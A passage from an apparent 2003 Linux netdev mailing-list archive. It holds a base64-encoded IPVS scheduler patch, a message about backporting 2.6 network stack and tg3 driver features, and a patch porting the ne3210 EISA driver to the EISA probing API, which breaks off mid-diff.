YS9uZXQvaXB2NC9pcHZzL2lwX3ZzX2xibGMuYyBiL25ldC9pcHY0L2lwdnMv aXBfdnNfbGJsYy5jDQotLS0gYS9uZXQvaXB2NC9pcHZzL2lwX3ZzX2xibGMu YwlTYXQgU2VwIDI3IDEzOjUxOjE1IDIwMDMNCisrKyBiL25ldC9pcHY0L2lw dnMvaXBfdnNfbGJsYy5jCVNhdCBTZXAgMjcgMTM6NTE6MTUgMjAwMw0KQEAg LTQ1OCwxMCArNDU4LDExIEBADQogCSAqIFRoZSBzZXJ2ZXIgd2l0aCB3ZWln aHQ9MCBpcyBxdWllc2NlZCBhbmQgd2lsbCBub3QgcmVjZWl2ZSBhbnkNCiAJ ICogbmV3IGNvbm5lY3Rpb24uDQogCSAqLw0KLQlsaXN0X2Zvcl9lYWNoX2Vu dHJ5KGxlYXN0LCAmc3ZjLT5kZXN0aW5hdGlvbnMsIG5fbGlzdCkgew0KLQkJ aWYgKGxlYXN0LT5mbGFncyAmIElQX1ZTX0RFU1RfRl9PVkVSTE9BRCkNCisJ bGlzdF9mb3JfZWFjaF9lbnRyeShkZXN0LCAmc3ZjLT5kZXN0aW5hdGlvbnMs IG5fbGlzdCkgew0KKwkJaWYgKGRlc3QtPmZsYWdzICYgSVBfVlNfREVTVF9G X09WRVJMT0FEKQ0KIAkJCWNvbnRpbnVlOw0KLQkJaWYgKGF0b21pY19yZWFk KCZsZWFzdC0+d2VpZ2h0KSA+IDApIHsNCisJCWlmIChhdG9taWNfcmVhZCgm ZGVzdC0+d2VpZ2h0KSA+IDApIHsNCisJCQlsZWFzdCA9IGRlc3Q7DQogCQkJ bG9oID0gYXRvbWljX3JlYWQoJmxlYXN0LT5hY3RpdmVjb25ucykgKiA1MA0K IAkJCQkrIGF0b21pY19yZWFkKCZsZWFzdC0+aW5hY3Rjb25ucyk7DQogCQkJ Z290byBuZXh0c3RhZ2U7DQpAQCAtNDczLDcgKzQ3NCw3IEBADQogCSAqICAg IEZpbmQgdGhlIGRlc3RpbmF0aW9uIHdpdGggdGhlIGxlYXN0IGxvYWQuDQog CSAqLw0KICAgbmV4dHN0YWdlOg0KLQlsaXN0X2Zvcl9lYWNoX2VudHJ5KGRl c3QsICZzdmMtPmRlc3RpbmF0aW9ucywgbl9saXN0KSB7DQorCWxpc3RfZm9y X2VhY2hfZW50cnlfY29udGludWUoZGVzdCwgJnN2Yy0+ZGVzdGluYXRpb25z LCBuX2xpc3QpIHsNCiAJCWlmIChkZXN0LT5mbGFncyAmIElQX1ZTX0RFU1Rf Rl9PVkVSTE9BRCkNCiAJCQljb250aW51ZTsNCiANCmRpZmYgLU5ydSBhL25l dC9pcHY0L2lwdnMvaXBfdnNfbGJsY3IuYyBiL25ldC9pcHY0L2lwdnMvaXBf dnNfbGJsY3IuYw0KLS0tIGEvbmV0L2lwdjQvaXB2cy9pcF92c19sYmxjci5j CVNhdCBTZXAgMjcgMTM6NTE6MTUgMjAwMw0KKysrIGIvbmV0L2lwdjQvaXB2 cy9pcF92c19sYmxjci5jCVNhdCBTZXAgMjcgMTM6NTE6MTUgMjAwMw0KQEAg LTcxMSwxMSArNzExLDEyIEBADQogCSAqIFRoZSBzZXJ2ZXIgd2l0aCB3ZWln aHQ9MCBpcyBxdWllc2NlZCBhbmQgd2lsbCBub3QgcmVjZWl2ZSBhbnkNCiAJ ICogbmV3IGNvbm5lY3Rpb24uDQogCSAqLw0KLQlsaXN0X2Zvcl9lYWNoX2Vu dHJ5KGxlYXN0LCAmc3ZjLT5kZXN0aW5hdGlvbnMsIG5fbGlzdCkgew0KLQkJ aWYgKGxlYXN0LT5mbGFncyAmIElQX1ZTX0RFU1RfRl9PVkVSTE9BRCkNCisJ bGlzdF9mb3JfZWFjaF9lbnRyeShkZXN0LCAmc3ZjLT5kZXN0aW5hdGlvbnMs IG5fbGlzdCkgew0KKwkJaWYgKGRlc3QtPmZsYWdzICYgSVBfVlNfREVTVF9G X09WRVJMT0FEKQ0KIAkJCWNvbnRpbnVlOw0KIA0KLQkJaWYgKGF0b21pY19y ZWFkKCZsZWFzdC0+d2VpZ2h0KSA+IDApIHsNCisJCWlmIChhdG9taWNfcmVh ZCgmZGVzdC0+d2VpZ2h0KSA+IDApIHsNCisJCQlsZWFzdCA9IGRlc3Q7DQog CQkJbG9oID0gYXRvbWljX3JlYWQoJmxlYXN0LT5hY3RpdmVjb25ucykgKiA1 MA0KIAkJCQkrIGF0b21pY19yZWFkKCZsZWFzdC0+aW5hY3Rjb25ucyk7DQog CQkJZ290byBuZXh0c3RhZ2U7DQpAQCAtNzI3LDcgKzcyOCw3IEBADQogCSAq ICAgIEZpbmQgdGhlIGRlc3RpbmF0aW9uIHdpdGggdGhlIGxlYXN0IGxvYWQu DQogCSAqLw0KICAgbmV4dHN0YWdlOg0KLQlsaXN0X2Zvcl9lYWNoX2VudHJ5 KGRlc3QsICZzdmMtPmRlc3RpbmF0aW9ucywgbl9saXN0KSB7DQorCWxpc3Rf Zm9yX2VhY2hfZW50cnlfY29udGludWUoZGVzdCwgJnN2Yy0+ZGVzdGluYXRp b25zLCBuX2xpc3QpIHsNCiAJCWlmIChkZXN0LT5mbGFncyAmIElQX1ZTX0RF U1RfRl9PVkVSTE9BRCkNCiAJCQljb250aW51ZTsNCiANCmRpZmYgLU5ydSBh L25ldC9pcHY0L2lwdnMvaXBfdnNfbGMuYyBiL25ldC9pcHY0L2lwdnMvaXBf dnNfbGMuYw0KLS0tIGEvbmV0L2lwdjQvaXB2cy9pcF92c19sYy5jCVNhdCBT ZXAgMjcgMTM6NTE6MTUgMjAwMw0KKysrIGIvbmV0L2lwdjQvaXB2cy9pcF92 c19sYy5jCVNhdCBTZXAgMjcgMTM6NTE6MTUgMjAwMw0KQEAgLTY1LDggKzY1 LDggQEANCiBzdGF0aWMgc3RydWN0IGlwX3ZzX2Rlc3QgKg0KIGlwX3ZzX2xj X3NjaGVkdWxlKHN0cnVjdCBpcF92c19zZXJ2aWNlICpzdmMsIHN0cnVjdCBp cGhkciAqaXBoKQ0KIHsNCi0Jc3RydWN0IGlwX3ZzX2Rlc3QgKmRlc3QsICps ZWFzdDsNCi0JdW5zaWduZWQgaW50IGxvaCwgZG9oOw0KKwlzdHJ1Y3QgaXBf dnNfZGVzdCAqZGVzdCwgKmxlYXN0ID0gTlVMTDsNCisJdW5zaWduZWQgaW50 IGxvaCA9IDAsIGRvaDsNCiANCiAJSVBfVlNfREJHKDYsICJpcF92c19sY19z Y2hlZHVsZSgpOiBTY2hlZHVsaW5nLi4uXG4iKTsNCiANCkBAIC03OSwzMSAr NzksMTggQEANCiAJICogc2VydmVkLCBidXQgbm8gbmV3IGNvbm5lY3Rpb24g aXMgYXNzaWduZWQgdG8gdGhlIHNlcnZlci4NCiAJICovDQogDQotCWxpc3Rf Zm9yX2VhY2hfZW50cnkobGVhc3QsICZzdmMtPmRlc3RpbmF0aW9ucywgbl9s aXN0KSB7DQotCQlpZiAobGVhc3QtPmZsYWdzICYgSVBfVlNfREVTVF9GX09W RVJMT0FEKQ0KLQkJCWNvbnRpbnVlOw0KLQkJaWYgKGF0b21pY19yZWFkKCZs ZWFzdC0+d2VpZ2h0KSA+IDApIHsNCi0JCQlsb2ggPSBpcF92c19sY19kZXN0 X292ZXJoZWFkKGxlYXN0KTsNCi0JCQlnb3RvIG5leHRzdGFnZTsNCi0JCX0N Ci0JfQ0KLQlyZXR1cm4gTlVMTDsNCi0NCi0JLyoNCi0JICogICAgRmluZCB0 aGUgZGVzdGluYXRpb24gd2l0aCB0aGUgbGVhc3QgbG9hZC4NCi0JICovDQot ICBuZXh0c3RhZ2U6DQogCWxpc3RfZm9yX2VhY2hfZW50cnkoZGVzdCwgJnN2 Yy0+ZGVzdGluYXRpb25zLCBuX2xpc3QpIHsNCiAJCWlmICgoZGVzdC0+Zmxh Z3MgJiBJUF9WU19ERVNUX0ZfT1ZFUkxPQUQpIHx8DQogCQkgICAgYXRvbWlj X3JlYWQoJmRlc3QtPndlaWdodCkgPT0gMCkNCiAJCQljb250aW51ZTsNCiAJ CWRvaCA9IGlwX3ZzX2xjX2Rlc3Rfb3ZlcmhlYWQoZGVzdCk7DQotCQlpZiAo ZG9oIDwgbG9oKSB7DQorCQlpZiAoIWxlYXN0IHx8IGRvaCA8IGxvaCkgew0K IAkJCWxlYXN0ID0gZGVzdDsNCiAJCQlsb2ggPSBkb2g7DQogCQl9DQogCX0N CiANCisJaWYgKGxlYXN0KQ0KIAlJUF9WU19EQkcoNiwgIkxDOiBzZXJ2ZXIg JXUuJXUuJXUuJXU6JXUgYWN0aXZlY29ubnMgJWQgaW5hY3Rjb25ucyAlZFxu IiwNCiAJCSAgTklQUVVBRChsZWFzdC0+YWRkciksIG50b2hzKGxlYXN0LT5w b3J0KSwNCiAJCSAgYXRvbWljX3JlYWQoJmxlYXN0LT5hY3RpdmVjb25ucyks DQpkaWZmIC1OcnUgYS9uZXQvaXB2NC9pcHZzL2lwX3ZzX3NlZC5jIGIvbmV0 L2lwdjQvaXB2cy9pcF92c19zZWQuYw0KLS0tIGEvbmV0L2lwdjQvaXB2cy9p cF92c19zZWQuYwlTYXQgU2VwIDI3IDEzOjUxOjE1IDIwMDMNCisrKyBiL25l dC9pcHY0L2lwdnMvaXBfdnNfc2VkLmMJU2F0IFNlcCAyNyAxMzo1MToxNSAy MDAzDQpAQCAtMTAzLDkgKzEwMywxMCBAQA0KIAkgKiBuZXcgY29ubmVjdGlv bnMuDQogCSAqLw0KIA0KLQlsaXN0X2Zvcl9lYWNoX2VudHJ5KGxlYXN0LCAm c3ZjLT5kZXN0aW5hdGlvbnMsIG5fbGlzdCkgew0KLQkJaWYgKCEobGVhc3Qt PmZsYWdzICYgSVBfVlNfREVTVF9GX09WRVJMT0FEKSAmJg0KLQkJICAgIGF0 b21pY19yZWFkKCZsZWFzdC0+d2VpZ2h0KSA+IDApIHsNCisJbGlzdF9mb3Jf ZWFjaF9lbnRyeShkZXN0LCAmc3ZjLT5kZXN0aW5hdGlvbnMsIG5fbGlzdCkg ew0KKwkJaWYgKCEoZGVzdC0+ZmxhZ3MgJiBJUF9WU19ERVNUX0ZfT1ZFUkxP QUQpICYmDQorCQkgICAgYXRvbWljX3JlYWQoJmRlc3QtPndlaWdodCkgPiAw KSB7DQorCQkJbGVhc3QgPSBkZXN0Ow0KIAkJCWxvaCA9IGlwX3ZzX3NlZF9k ZXN0X292ZXJoZWFkKGxlYXN0KTsNCiAJCQlnb3RvIG5leHRzdGFnZTsNCiAJ CX0NCkBAIC0xMTYsNyArMTE3LDcgQEANCiAJICogICAgRmluZCB0aGUgZGVz dGluYXRpb24gd2l0aCB0aGUgbGVhc3QgbG9hZC4NCiAJICovDQogICBuZXh0 c3RhZ2U6DQotCWxpc3RfZm9yX2VhY2hfZW50cnkoZGVzdCwgJnN2Yy0+ZGVz dGluYXRpb25zLCBuX2xpc3QpIHsNCisJbGlzdF9mb3JfZWFjaF9lbnRyeV9j b250aW51ZShkZXN0LCAmc3ZjLT5kZXN0aW5hdGlvbnMsIG5fbGlzdCkgew0K IAkJaWYgKGRlc3QtPmZsYWdzICYgSVBfVlNfREVTVF9GX09WRVJMT0FEKQ0K IAkJCWNvbnRpbnVlOw0KIAkJZG9oID0gaXBfdnNfc2VkX2Rlc3Rfb3Zlcmhl YWQoZGVzdCk7DQpkaWZmIC1OcnUgYS9uZXQvaXB2NC9pcHZzL2lwX3ZzX3ds Yy5jIGIvbmV0L2lwdjQvaXB2cy9pcF92c193bGMuYw0KLS0tIGEvbmV0L2lw djQvaXB2cy9pcF92c193bGMuYwlTYXQgU2VwIDI3IDEzOjUxOjE1IDIwMDMN CisrKyBiL25ldC9pcHY0L2lwdnMvaXBfdnNfd2xjLmMJU2F0IFNlcCAyNyAx Mzo1MToxNSAyMDAzDQpAQCAtOTEsOSArOTEsMTAgQEANCiAJICogbmV3IGNv bm5lY3Rpb25zLg0KIAkgKi8NCiANCi0JbGlzdF9mb3JfZWFjaF9lbnRyeShs ZWFzdCwgJnN2Yy0+ZGVzdGluYXRpb25zLCBuX2xpc3QpIHsNCi0JCWlmICgh KGxlYXN0LT5mbGFncyAmIElQX1ZTX0RFU1RfRl9PVkVSTE9BRCkgJiYNCi0J CSAgICBhdG9taWNfcmVhZCgmbGVhc3QtPndlaWdodCkgPiAwKSB7DQorCWxp c3RfZm9yX2VhY2hfZW50cnkoZGVzdCwgJnN2Yy0+ZGVzdGluYXRpb25zLCBu X2xpc3QpIHsNCisJCWlmICghKGRlc3QtPmZsYWdzICYgSVBfVlNfREVTVF9G X09WRVJMT0FEKSAmJg0KKwkJICAgIGF0b21pY19yZWFkKCZkZXN0LT53ZWln aHQpID4gMCkgew0KKwkJCWxlYXN0ID0gZGVzdDsNCiAJCQlsb2ggPSBpcF92 c193bGNfZGVzdF9vdmVyaGVhZChsZWFzdCk7DQogCQkJZ290byBuZXh0c3Rh Z2U7DQogCQl9DQpAQCAtMTA0LDcgKzEwNSw3IEBADQogCSAqICAgIEZpbmQg dGhlIGRlc3RpbmF0aW9uIHdpdGggdGhlIGxlYXN0IGxvYWQuDQogCSAqLw0K ICAgbmV4dHN0YWdlOg0KLQlsaXN0X2Zvcl9lYWNoX2VudHJ5KGRlc3QsICZz dmMtPmRlc3RpbmF0aW9ucywgbl9saXN0KSB7DQorCWxpc3RfZm9yX2VhY2hf ZW50cnlfY29udGludWUoZGVzdCwgJnN2Yy0+ZGVzdGluYXRpb25zLCBuX2xp c3QpIHsNCiAJCWlmIChkZXN0LT5mbGFncyAmIElQX1ZTX0RFU1RfRl9PVkVS TE9BRCkNCiAJCQljb250aW51ZTsNCiAJCWRvaCA9IGlwX3ZzX3dsY19kZXN0 X292ZXJoZWFkKGRlc3QpOw0K --1607745702-1126575391-1064664177=:2845-- From modica@sgi.com Sat Sep 27 06:33:55 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Sep 2003 06:34:09 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8RDXtFx011241 for ; Sat, 27 Sep 2003 06:33:55 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8RDXnq0031326 for ; Sat, 27 Sep 2003 06:33:49 -0700 Received: from daisy-e236.americas.sgi.com (daisy-e236.americas.sgi.com [128.162.236.214]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8RDXncc11829458 for ; Sat, 27 Sep 2003 08:33:49 -0500 (CDT) Received: from sgi.com (cf-vpn-sw-corp-64-13.corp.sgi.com [134.15.64.13]) by daisy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8RDXnRn226545888 for ; Sat, 27 Sep 2003 08:33:49 -0500 (CDT) Message-ID: <3F759250.2040206@sgi.com> Date: Sat, 27 Sep 2003 08:36:16 -0500 From: Steve Modica User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: Backporting 2.6 stack features Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 299 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: modica@sgi.com Precedence: bulk X-list: netdev Content-Length: 376 Lines: 14 Hi All, Has anyone been working on backporting features of the 2.6 stack and tg3.c driver? I've incoporated some small changes to the driver and mod_timer to reduce contention on some locks, but I'd also like to do the following: 1. get rid of do_cscum (which requires the newer sk_buff) 2. reduce contention in __wake_up 3. reduce contention in skb_release_data Steve From maz@misterjones.org Sat Sep 27 09:58:00 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Sep 2003 09:58:13 -0700 (PDT) Received: from young-lust.wild-wind.fr.eu.org (lopsy-lu.misterjones.org [62.4.18.26]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8RGvtFx028533 for ; Sat, 27 Sep 2003 09:57:57 -0700 Received: from hina.wild-wind.fr.eu.org ([192.168.70.139]) by young-lust.wild-wind.fr.eu.org with esmtp (Exim 3.35 #1 (Debian)) id 1A3INP-0000yn-00; Sat, 27 Sep 2003 18:56:59 +0200 Received: from maz by hina.wild-wind.fr.eu.org with local (Exim 3.36 #1 (Debian)) id 1A3IKj-0001xT-00; Sat, 27 Sep 2003 18:54:13 +0200 To: p_gortmaker@yahoo.com, jgarzik@pobox.com Cc: Subject: [PATCH] ne3210 update Organization: Metropolis -- Nowhere X-Attribution: maz Reply-to: mzyngier@freesurf.fr From: Marc Zyngier Date: Sat, 27 Sep 2003 18:54:12 +0200 Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" X-archive-position: 300 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mzyngier@freesurf.fr Precedence: bulk X-list: netdev Content-Length: 14743 Lines: 25 --=-=-= Paul, Jeff, The enclosed patch ports the ne3210 driver over the EISA probing API. It also fixes some ioremap/isa_memcopy_fromio problems (depending on where the card memory was mapped) by using ioremap unconditionally and letting memcopy_fromio do the right thing. Finally, it removes the card from Space.c (warning, potential interface renumbering !). The module options are currently disabled, until Rusty's module_param_array() patch is included. I will re-introduce them ASAP. Quite heavily tested on x86. Thanks, M. --=-=-= Content-Type: text/x-patch Content-Disposition: attachment; filename=ne3210.patch --- ../vanilla/linux-2.5/drivers/net/Space.c 2003-09-26 21:03:46.000000000 +0200 +++ linux-2.5/drivers/net/Space.c 2003-09-24 10:15:31.000000000 +0200 @@ -67,7 +67,6 @@ extern int ac3200_probe(struct net_device *); extern int es_probe(struct net_device *); extern int lne390_probe(struct net_device *); -extern int ne3210_probe(struct net_device *); extern int e2100_probe(struct net_device *); extern int ni5010_probe(struct net_device *); extern int ni52_probe(struct net_device *); @@ -155,9 +154,6 @@ #ifdef CONFIG_LNE390 {lne390_probe, 0}, #endif -#ifdef CONFIG_NE3210 - {ne3210_probe, 0}, -#endif {NULL, 0}, }; --- ../vanilla/linux-2.5/drivers/net/ne3210.c 2003-09-26 21:03:46.000000000 +0200 +++ linux-2.5/drivers/net/ne3210.c 2003-09-27 18:48:36.000000000 +0200 @@ -23,6 +23,7 @@ This driver WILL NOT WORK FOR THE NE3200 - it is completely different and does not use an 8390 at all. + Updated to EISA probing API 5/2003 by Marc Zyngier. */ static const char *version = @@ -44,9 +45,6 @@ #include "8390.h" -int ne3210_probe(struct net_device *dev); -static int ne3210_probe1(struct net_device *dev, int ioaddr); - static int ne3210_open(struct net_device *dev); static int ne3210_close(struct net_device *dev); @@ -59,7 +57,6 @@ #define NE3210_START_PG 0x00 /* First page of TX buffer */ #define NE3210_STOP_PG 0x80 /* Last page +1 of RX ring */ -#define NE3210_ID_PORT 0xc80 /* Same for all EISA cards */ #define NE3210_IO_EXTENT 0x20 #define NE3210_SA_PROM 0x16 /* Start of e'net addr. */ #define NE3210_RESET_PORT 0xc84 @@ -69,10 +66,9 @@ #define NE3210_ADDR1 0x00 #define NE3210_ADDR2 0x1b -#define NE3210_ID 0x0118cc3a /* 0x3acc = 1110 10110 01100 = nvl */ - #define NE3210_CFG1 0xc84 /* NB: 0xc84 is also "reset" port. */ #define NE3210_CFG2 0xc90 +#define NE3210_CFG_EXTENT (NE3210_CFG2 - NE3210_CFG1 + 1) /* * You can OR any of the following bits together and assign it @@ -89,152 +85,108 @@ static unsigned char irq_map[] __initdata = {15, 12, 11, 10, 9, 7, 5, 3}; static unsigned int shmem_map[] __initdata = {0xff0, 0xfe0, 0xfff0, 0xd8, 0xffe0, 0xffc0, 0xd0, 0x0}; +static const char *ifmap[] __initdata = {"UTP", "?", "BNC", "AUI"}; +static int ifmap_val[] __initdata = { + IF_PORT_10BASET, + IF_PORT_UNKNOWN, + IF_PORT_10BASE2, + IF_PORT_AUI, +}; -/* - * Probe for the card. The best way is to read the EISA ID if it - * is known. Then we can check the prefix of the station address - * PROM for a match against the value assigned to Novell. - */ - -int __init ne3210_probe(struct net_device *dev) +static int __init ne3210_eisa_probe (struct device *device) { - unsigned short ioaddr = dev->base_addr; - - SET_MODULE_OWNER(dev); + unsigned long ioaddr, phys_mem; + int i, retval, port_index; + struct eisa_device *edev = to_eisa_device (device); + struct net_device *dev; - if (ioaddr > 0x1ff) /* Check a single specified location. */ - return ne3210_probe1(dev, ioaddr); - else if (ioaddr > 0) /* Don't probe at all. */ - return -ENXIO; - - if (!EISA_bus) { -#if NE3210_DEBUG & NE3210_D_PROBE - printk("ne3210-debug: Not an EISA bus. Not probing high ports.\n"); -#endif - return -ENXIO; + /* Allocate dev->priv and fill in 8390 specific dev fields. */ + if (!(dev = alloc_ei_netdev ())) { + printk ("ne3210.c: unable to allocate memory for dev!\n"); + return -ENOMEM; } - /* EISA spec allows for up to 16 slots, but 8 is typical. */ - for (ioaddr = 0x1000; ioaddr < 0x9000; ioaddr += 0x1000) - if (ne3210_probe1(dev, ioaddr) == 0) - return 0; - - return -ENODEV; -} - -static int __init ne3210_probe1(struct net_device *dev, int ioaddr) -{ - int i, retval; - unsigned long eisa_id; - const char *ifmap[] = {"UTP", "?", "BNC", "AUI"}; - - if (!request_region(dev->base_addr, NE3210_IO_EXTENT, dev->name)) - return -EBUSY; + SET_MODULE_OWNER(dev); + SET_NETDEV_DEV(dev, device); + device->driver_data = dev; + ioaddr = edev->base_addr; - if (inb_p(ioaddr + NE3210_ID_PORT) == 0xff) { - retval = -ENODEV; + if (ethdev_init (dev)) { + printk ("ne3210.c: unable to allocate memory for dev->priv!\n"); + retval = -ENOMEM; goto out; } -#if NE3210_DEBUG & NE3210_D_PROBE - printk("ne3210-debug: probe at %#x, ID %#8x\n", ioaddr, inl(ioaddr + NE3210_ID_PORT)); - printk("ne3210-debug: config regs: %#x %#x\n", - inb(ioaddr + NE3210_CFG1), inb(ioaddr + NE3210_CFG2)); -#endif - - -/* Check the EISA ID of the card. */ - eisa_id = inl(ioaddr + NE3210_ID_PORT); - if (eisa_id != NE3210_ID) { - retval = -ENODEV; + if (!request_region(ioaddr, NE3210_IO_EXTENT, dev->name)) { + retval = -EBUSY; goto out; } - -#if 0 -/* Check the vendor ID as well. Not really required. */ - if (inb(ioaddr + NE3210_SA_PROM + 0) != NE3210_ADDR0 - || inb(ioaddr + NE3210_SA_PROM + 1) != NE3210_ADDR1 - || inb(ioaddr + NE3210_SA_PROM + 2) != NE3210_ADDR2 ) { - printk("ne3210.c: card not found"); - for(i = 0; i < ETHER_ADDR_LEN; i++) - printk(" %02x", inb(ioaddr + NE3210_SA_PROM + i)); - printk(" (invalid prefix).\n"); - retval = -ENODEV; - goto out; + if (!request_region(ioaddr + NE3210_CFG1, + NE3210_CFG_EXTENT, dev->name)) { + retval = -EBUSY; + goto out1; } + +#if NE3210_DEBUG & NE3210_D_PROBE + printk("ne3210-debug: probe at %#x, ID %s\n", ioaddr, edev->id.sig); + printk("ne3210-debug: config regs: %#x %#x\n", + inb(ioaddr + NE3210_CFG1), inb(ioaddr + NE3210_CFG2)); #endif - /* Allocate dev->priv and fill in 8390 specific dev fields. */ - if (ethdev_init(dev)) { - printk ("ne3210.c: unable to allocate memory for dev->priv!\n"); - retval = -ENOMEM; - goto out; - } + port_index = inb(ioaddr + NE3210_CFG2) >> 6; printk("ne3210.c: NE3210 in EISA slot %d, media: %s, addr:", - ioaddr/0x1000, ifmap[inb(ioaddr + NE3210_CFG2) >> 6]); + edev->slot, ifmap[port_index]); for(i = 0; i < ETHER_ADDR_LEN; i++) printk(" %02x", (dev->dev_addr[i] = inb(ioaddr + NE3210_SA_PROM + i))); - printk(".\nne3210.c: "); + /* Snarf the interrupt now. CFG file has them all listed as `edge' with share=NO */ - if (dev->irq == 0) { - unsigned char irq_reg = inb(ioaddr + NE3210_CFG2) >> 3; - dev->irq = irq_map[irq_reg & 0x07]; - printk("using"); - } else { - /* This is useless unless we reprogram the card here too */ - if (dev->irq == 2) dev->irq = 9; /* Doh! */ - printk("assigning"); - } - printk(" IRQ %d,", dev->irq); + dev->irq = irq_map[(inb(ioaddr + NE3210_CFG2) >> 3) & 0x07]; + printk(".\nne3210.c: using IRQ %d, ", dev->irq); retval = request_irq(dev->irq, ei_interrupt, 0, dev->name, dev); if (retval) { printk (" unable to get IRQ %d.\n", dev->irq); - goto out1; - } - - if (dev->mem_start == 0) { - unsigned char mem_reg = inb(ioaddr + NE3210_CFG2) & 0x07; - dev->mem_start = shmem_map[mem_reg] * 0x1000; - printk(" using "); - } else { - /* Should check for value in shmem_map and reprogram the card to use it */ - dev->mem_start &= 0xfff8000; - printk(" assigning "); + goto out2; } - printk("%dkB memory at physical address %#lx\n", - NE3210_STOP_PG/4, dev->mem_start); + phys_mem = shmem_map[inb(ioaddr + NE3210_CFG2) & 0x07] * 0x1000; /* BEWARE!! Some dain-bramaged EISA SCUs will allow you to put the card mem within the region covered by `normal' RAM !!! */ - if (dev->mem_start > 1024*1024) { /* phys addr > 1MB */ - if (dev->mem_start < virt_to_phys(high_memory)) { + if (phys_mem > 1024*1024) { /* phys addr > 1MB */ + if (phys_mem < virt_to_phys(high_memory)) { printk(KERN_CRIT "ne3210.c: Card RAM overlaps with normal memory!!!\n"); printk(KERN_CRIT "ne3210.c: Use EISA SCU to set card memory below 1MB,\n"); printk(KERN_CRIT "ne3210.c: or to an address above 0x%lx.\n", virt_to_phys(high_memory)); printk(KERN_CRIT "ne3210.c: Driver NOT installed.\n"); retval = -EINVAL; - goto out2; + goto out3; } - dev->mem_start = (unsigned long)ioremap(dev->mem_start, NE3210_STOP_PG*0x100); - if (dev->mem_start == 0) { - printk(KERN_ERR "ne3210.c: Unable to remap card memory above 1MB !!\n"); - printk(KERN_ERR "ne3210.c: Try using EISA SCU to set memory below 1MB.\n"); - printk(KERN_ERR "ne3210.c: Driver NOT installed.\n"); - retval = -EAGAIN; - goto out2; - } - ei_status.reg0 = 1; /* Use as remap flag */ - printk("ne3210.c: remapped %dkB card memory to virtual address %#lx\n", - NE3210_STOP_PG/4, dev->mem_start); } + + if (!request_mem_region (phys_mem, NE3210_STOP_PG*0x100, dev->name)) { + printk ("ne3210.c: Unable to request shared memory at physical address %#lx\n", + phys_mem); + goto out3; + } + + printk("%dkB memory at physical address %#lx\n", + NE3210_STOP_PG/4, phys_mem); + dev->mem_start = (unsigned long)ioremap(phys_mem, NE3210_STOP_PG*0x100); + if (dev->mem_start == 0) { + printk(KERN_ERR "ne3210.c: Unable to remap card memory !!\n"); + printk(KERN_ERR "ne3210.c: Driver NOT installed.\n"); + retval = -EAGAIN; + goto out4; + } + printk("ne3210.c: remapped %dkB card memory to virtual address %#lx\n", + NE3210_STOP_PG/4, dev->mem_start); dev->mem_end = ei_status.rmem_end = dev->mem_start + (NE3210_STOP_PG - NE3210_START_PG)*256; ei_status.rmem_start = dev->mem_start + TX_PAGES*256; @@ -247,6 +199,7 @@ ei_status.rx_start_page = NE3210_START_PG + TX_PAGES; ei_status.stop_page = NE3210_STOP_PG; ei_status.word16 = 1; + ei_status.priv = phys_mem; if (ei_debug > 0) printk(version); @@ -258,18 +211,46 @@ dev->open = &ne3210_open; dev->stop = &ne3210_close; + dev->if_port = ifmap_val[port_index]; + + if ((retval = register_netdev (dev))) + goto out5; + NS8390_init(dev, 0); return 0; -out2: - free_irq(dev->irq, dev); -out1: - kfree(dev->priv); - dev->priv = NULL; -out: - release_region(ioaddr, NE3210_IO_EXTENT); + + out5: + iounmap((void *)dev->mem_start); + out4: + release_mem_region (phys_mem, NE3210_STOP_PG*0x100); + out3: + free_irq (dev->irq, dev); + out2: + release_region (ioaddr + NE3210_CFG1, NE3210_CFG_EXTENT); + out1: + release_region (ioaddr, NE3210_IO_EXTENT); + out: + free_netdev (dev); + return retval; } +static int __devexit ne3210_eisa_remove (struct device *device) +{ + struct net_device *dev = device->driver_data; + unsigned long ioaddr = to_eisa_device (device)->base_addr; + + unregister_netdev (dev); + iounmap((void *)dev->mem_start); + release_mem_region (ei_status.priv, NE3210_STOP_PG*0x100); + free_irq (dev->irq, dev); + release_region (ioaddr + NE3210_CFG1, NE3210_CFG_EXTENT); + release_region (ioaddr, NE3210_IO_EXTENT); + free_netdev (dev); + + return 0; +} + /* * Reset by toggling the "Board Enable" bits (bit 2 and 0). */ @@ -309,7 +290,7 @@ ne3210_get_8390_hdr(struct net_device *dev, struct e8390_pkt_hdr *hdr, int ring_page) { unsigned long hdr_start = dev->mem_start + ((ring_page - NE3210_START_PG)<<8); - isa_memcpy_fromio(hdr, hdr_start, sizeof(struct e8390_pkt_hdr)); + memcpy_fromio(hdr, hdr_start, sizeof(struct e8390_pkt_hdr)); hdr->count = (hdr->count + 3) & ~3; /* Round up allocation. */ } @@ -327,12 +308,12 @@ if (xfer_start + count > ei_status.rmem_end) { /* Packet wraps over end of ring buffer. */ int semi_count = ei_status.rmem_end - xfer_start; - isa_memcpy_fromio(skb->data, xfer_start, semi_count); + memcpy_fromio(skb->data, xfer_start, semi_count); count -= semi_count; - isa_memcpy_fromio(skb->data + semi_count, ei_status.rmem_start, count); + memcpy_fromio(skb->data + semi_count, ei_status.rmem_start, count); } else { /* Packet is in one chunk. */ - isa_memcpy_fromio(skb->data, xfer_start, count); + memcpy_fromio(skb->data, xfer_start, count); } } @@ -342,7 +323,7 @@ unsigned long shmem = dev->mem_start + ((start_page - NE3210_START_PG)<<8); count = (count + 3) & ~3; /* Round up to doubleword */ - 